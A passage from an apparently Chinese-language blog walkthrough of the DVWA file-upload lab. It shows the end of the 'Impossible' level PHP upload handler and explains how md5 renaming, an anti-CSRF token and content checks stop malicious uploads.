            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,Impossible級別的程式碼對上傳檔案 進行了重新命名(為md5值,導致%00截斷無法繞過過濾規則),加入Anti-CSRF token防護CSRF攻擊,同時對檔案的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意指令碼的檔案。

相關文章